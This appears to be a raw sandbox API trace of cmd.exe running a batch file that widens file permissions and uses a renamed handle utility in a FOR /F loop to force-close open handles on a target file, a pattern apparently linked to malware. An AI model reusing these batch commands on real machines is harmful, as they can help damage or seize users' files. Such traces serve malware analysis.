_get_osfhandle (_FileHandle=1) returned 0x7 [0123.221] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0123.221] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.221] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0123.221] _get_osfhandle (_FileHandle=0) returned 0x3 [0123.221] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0123.222] SetConsoleInputExeNameW () returned 0x1 [0123.222] GetConsoleOutputCP () returned 0x1b5 [0123.222] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0123.222] SetThreadUILanguage (LangId=0x0) returned 0x409 [0123.222] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x26f2c4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0123.223] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0123.223] _get_osfhandle (_FileHandle=3) returned 0x78 [0123.223] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0123.223] GetProcessHeap () returned 0x670000 [0123.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686200 | out: hHeap=0x670000) returned 1 [0123.223] GetProcessHeap () returned 0x670000 [0123.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6861c0 | out: hHeap=0x670000) returned 1 [0123.223] GetProcessHeap () returned 0x670000 [0123.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686180 | out: hHeap=0x670000) returned 1 [0123.223] GetProcessHeap () returned 0x670000 [0123.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x670db8 | out: hHeap=0x670000) returned 1 [0123.223] GetProcessHeap () returned 0x670000 [0123.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671240 | out: hHeap=0x670000) returned 1 [0123.223] GetProcessHeap () returned 0x670000 [0123.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67f4e0 | out: hHeap=0x670000) returned 1 [0123.223] GetProcessHeap () returned 0x670000 [0123.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x680fe8 | out: hHeap=0x670000) returned 1 [0123.223] _get_osfhandle (_FileHandle=3) returned 0x78 [0123.223] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0123.223] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x26f2a8, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x26f2a8*=0xa3, lpOverlapped=0x0) returned 1 [0123.224] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0123.224] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cd /d \"%~dp0\"\r\n\nUSERNAME%:F /C\r\n") returned 15 [0123.224] _get_osfhandle (_FileHandle=3) returned 0x78 [0123.224] GetFileType (hFile=0x78) returned 0x1 [0123.224] _get_osfhandle (_FileHandle=3) returned 0x78 [0123.224] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0123.224] GetProcessHeap () returned 0x670000 [0123.224] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x400a) returned 0x694ab0 [0123.224] GetProcessHeap () returned 0x670000 [0123.224] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x70) returned 0x671240 [0123.224] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x208, lpBuffer=0x26ea38, lpFilePart=0x26ea30 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x26ea30*="Bt3xnwko.bat") returned 0x32 [0123.224] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x26e74c | out: lpFindFileData=0x26e74c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x686180 [0123.224] FindClose (in: hFindFile=0x686180 | out: hFindFile=0x686180) returned 1 [0123.224] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x26e74c | out: lpFindFileData=0x26e74c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x686180 [0123.225] FindClose (in: hFindFile=0x686180 | out: hFindFile=0x686180) returned 1 [0123.225] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0123.225] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x26e74c | out: lpFindFileData=0x26e74c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x686180 [0123.225] FindClose (in: hFindFile=0x686180 | out: hFindFile=0x686180) returned 1 [0123.225] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFindFileData=0x26e74c | out: lpFindFileData=0x26e74c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe3eef60, ftCreationTime.dwHighDateTime=0x1d5d06a, ftLastAccessTime.dwLowDateTime=0xbe3eef60, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xbe3eef60, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bt3xnwko.bat", cAlternateFileName="")) returned 0x686180 [0123.225] FindClose (in: hFindFile=0x686180 | out: hFindFile=0x686180) returned 1 [0123.225] GetProcessHeap () returned 0x670000 [0123.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x56) returned 0x686180 [0123.225] GetProcessHeap () returned 0x670000 [0123.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x694ab0 | out: hHeap=0x670000) returned 1 [0123.227] _tell (_FileHandle=3) returned 78 [0123.227] _close (_FileHandle=3) returned 0 [0123.227] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f07c | out: _Buffer="\r\n") returned 2 [0123.227] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.227] GetFileType (hFile=0x7) returned 0x2 [0123.227] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0123.227] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f03c | out: lpMode=0x26f03c) returned 1 [0123.227] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.227] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f068, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f068*=0x2) returned 1 [0123.229] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0123.229] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0123.229] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x26f078 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0123.229] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x26f078 | out: _Buffer=">") returned 1 [0123.229] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.229] GetFileType (hFile=0x7) returned 0x2 [0123.229] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0123.229] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f040 | out: lpMode=0x26f040) returned 1 [0123.230] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.230] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x26f06c, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x26f06c*=0x26) returned 1 [0123.230] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.230] GetFileType (hFile=0x7) returned 0x2 [0123.230] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0123.230] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f2c4 | out: lpMode=0x26f2c4) returned 1 [0123.230] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.230] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x670dc0*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f2f0, lpReserved=0x0 | out: lpBuffer=0x670dc0*, lpNumberOfCharsWritten=0x26f2f0*=0x2) returned 1 [0123.231] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x26f2fc | out: _Buffer=" /d \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\\" ") returned 45 [0123.231] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.231] GetFileType (hFile=0x7) returned 0x2 [0123.231] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0123.231] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f2bc | out: lpMode=0x26f2bc) returned 1 [0123.231] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.231] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2d, lpNumberOfCharsWritten=0x26f2e8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f2e8*=0x2d) returned 1 [0123.233] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f31c | out: _Buffer="\r\n") returned 2 [0123.233] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.233] GetFileType (hFile=0x7) returned 0x2 [0123.233] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0123.233] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f2dc | out: lpMode=0x26f2dc) returned 1 [0123.233] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.233] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f308, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f308*=0x2) returned 1 [0123.235] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0123.235] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0123.235] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0123.235] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0123.235] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0123.235] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0123.235] GetConsoleTitleW (in: lpConsoleTitle=0x26ee8c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0123.235] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0123.235] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0123.236] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x26ec48, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x26ec40, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x26ec40*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0123.236] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x26e9e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0123.236] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x104, lpBuffer=0x26e9e4, lpFilePart=0x26e9e0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x26e9e0*=0x0) returned 0x26 [0123.236] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0123.236] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x26e760 | out: lpFindFileData=0x26e760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x6864c0 [0123.236] FindClose (in: hFindFile=0x6864c0 | out: hFindFile=0x6864c0) returned 1 [0123.237] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x26e760 | out: lpFindFileData=0x26e760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x6864c0 [0123.237] FindClose (in: hFindFile=0x6864c0 | out: hFindFile=0x6864c0) returned 1 [0123.237] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0123.237] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x26e760 | out: lpFindFileData=0x26e760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x6864c0 [0123.237] FindClose (in: hFindFile=0x6864c0 | out: hFindFile=0x6864c0) returned 1 [0123.237] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0123.237] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0123.237] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0123.237] GetProcessHeap () returned 0x670000 [0123.237] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x689658 | out: hHeap=0x670000) returned 1 [0123.237] GetEnvironmentStringsW () returned 0x688ac8* [0123.237] GetProcessHeap () returned 0x670000 [0123.237] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xb86) returned 0x689658 [0123.237] FreeEnvironmentStringsW (penv=0x688ac8) returned 1 [0123.237] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0123.237] GetProcessHeap () returned 0x670000 [0123.237] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686460 | out: hHeap=0x670000) returned 1 [0123.237] GetProcessHeap () returned 0x670000 [0123.237] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686400 | out: hHeap=0x670000) returned 1 [0123.237] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.237] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0123.238] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.238] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0123.238] _get_osfhandle (_FileHandle=0) returned 0x3 [0123.238] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0123.238] SetConsoleInputExeNameW () returned 0x1 [0123.238] GetConsoleOutputCP () returned 0x1b5 [0123.238] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0123.239] SetThreadUILanguage (LangId=0x0) returned 0x409 [0123.239] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x26f2c4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0123.239] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0123.239] _get_osfhandle (_FileHandle=3) returned 0x78 [0123.239] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0123.239] GetProcessHeap () returned 0x670000 [0123.239] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686390 | out: hHeap=0x670000) returned 1 [0123.240] GetProcessHeap () returned 0x670000 [0123.240] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686320 | out: hHeap=0x670000) returned 1 [0123.240] GetProcessHeap () returned 0x670000 [0123.240] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6862b0 | out: hHeap=0x670000) returned 1 [0123.240] GetProcessHeap () returned 0x670000 [0123.240] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686240 | out: hHeap=0x670000) returned 1 [0123.240] GetProcessHeap () returned 0x670000 [0123.240] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x670db8 | out: hHeap=0x670000) returned 1 [0123.240] GetProcessHeap () returned 0x670000 [0123.240] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6861e0 | out: hHeap=0x670000) returned 1 [0123.240] GetProcessHeap () returned 0x670000 [0123.240] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686180 | out: hHeap=0x670000) returned 1 [0123.240] GetProcessHeap () returned 0x670000 [0123.240] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671240 | out: hHeap=0x670000) returned 1 [0123.240] _get_osfhandle (_FileHandle=3) returned 0x78 [0123.240] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0123.240] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x26f2a8, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x26f2a8*=0x94, lpOverlapped=0x0) returned 1 [0123.240] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=148, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="FOR /F \"UseBackQ Tokens=3,6 delims=: \" %%I IN (`bv6ncK8c.exe -accepteula %FN% -nobanner`) DO (bv6ncK8c.exe -accepteula -c %%J -y -p %%I -nobanner)\r\n") returned 148 [0123.255] _get_osfhandle (_FileHandle=3) returned 0x78 [0123.255] GetFileType (hFile=0x78) returned 0x1 [0123.255] _get_osfhandle (_FileHandle=3) returned 0x78 [0123.255] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0123.255] GetProcessHeap () returned 0x670000 [0123.255] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x400a) returned 0x694ab0 [0123.256] GetProcessHeap () returned 0x670000 [0123.256] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4008) returned 0x698ac8 [0123.256] GetProcessHeap () returned 0x670000 [0123.256] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xe) returned 0x670db8 [0123.256] GetEnvironmentVariableW (in: lpName="FN", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="\"Journal.exe.mui\"") returned 0x11 [0123.256] GetProcessHeap () returned 0x670000 [0123.256] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x670db8 | out: hHeap=0x670000) returned 1 [0123.256] GetProcessHeap () returned 0x670000 [0123.256] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x698ac8 | out: hHeap=0x670000) returned 1 [0123.256] GetProcessHeap () returned 0x670000 [0123.256] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x694ab0 | out: hHeap=0x670000) returned 1 [0123.261] _tell (_FileHandle=3) returned 226 [0123.261] _close (_FileHandle=3) returned 0 [0123.261] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f07c | out: _Buffer="\r\n") returned 2 [0123.261] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.261] GetFileType (hFile=0x7) returned 0x2 [0123.262] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0123.262] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f03c | out: lpMode=0x26f03c) returned 1 [0123.428] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.428] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f068, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f068*=0x2) returned 1 [0123.429] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0123.429] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0123.430] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x26f078 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0123.430] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x26f078 | out: _Buffer=">") returned 1 [0123.430] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.430] GetFileType (hFile=0x7) returned 0x2 [0123.430] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0123.430] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f040 | out: lpMode=0x26f040) returned 1 [0123.430] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.430] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x26f06c, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x26f06c*=0x26) returned 1 [0123.431] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%.3s", _ArgList=0x26f2fc | out: _Buffer="FOR") returned 3 [0123.431] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.431] GetFileType (hFile=0x7) returned 0x2 [0123.431] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0123.431] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f2bc | out: lpMode=0x26f2bc) returned 1 [0123.431] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.431] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x26f2e8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f2e8*=0x3) returned 1 [0123.432] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x26f2fc | out: _Buffer=" /F") returned 3 [0123.432] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.432] GetFileType (hFile=0x7) returned 0x2 [0123.432] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0123.432] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f2bc | out: lpMode=0x26f2bc) returned 1 [0123.432] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.432] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x26f2e8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f2e8*=0x3) returned 1 [0123.432] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x26f2fc | out: _Buffer=" \"UseBackQ Tokens=3,6 delims=: \"") returned 32 [0123.433] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.433] GetFileType (hFile=0x7) returned 0x2 [0123.433] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0123.433] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f2bc | out: lpMode=0x26f2bc) returned 1 [0123.433] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.433] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x20, lpNumberOfCharsWritten=0x26f2e8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f2e8*=0x20) returned 1 [0123.433] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s ", _ArgList=0x26f2fc | out: _Buffer=" %I IN ") returned 7 [0123.433] _get_osfhandle (_FileHandle=1) returned 0x7 [0123.433] GetFileType (hFile=0x7) returned 0x2 [0123.434] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0123.434] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f2bc | out: lpMode=0x26f2bc) returned 1 [0123.434] _get_osfhandle 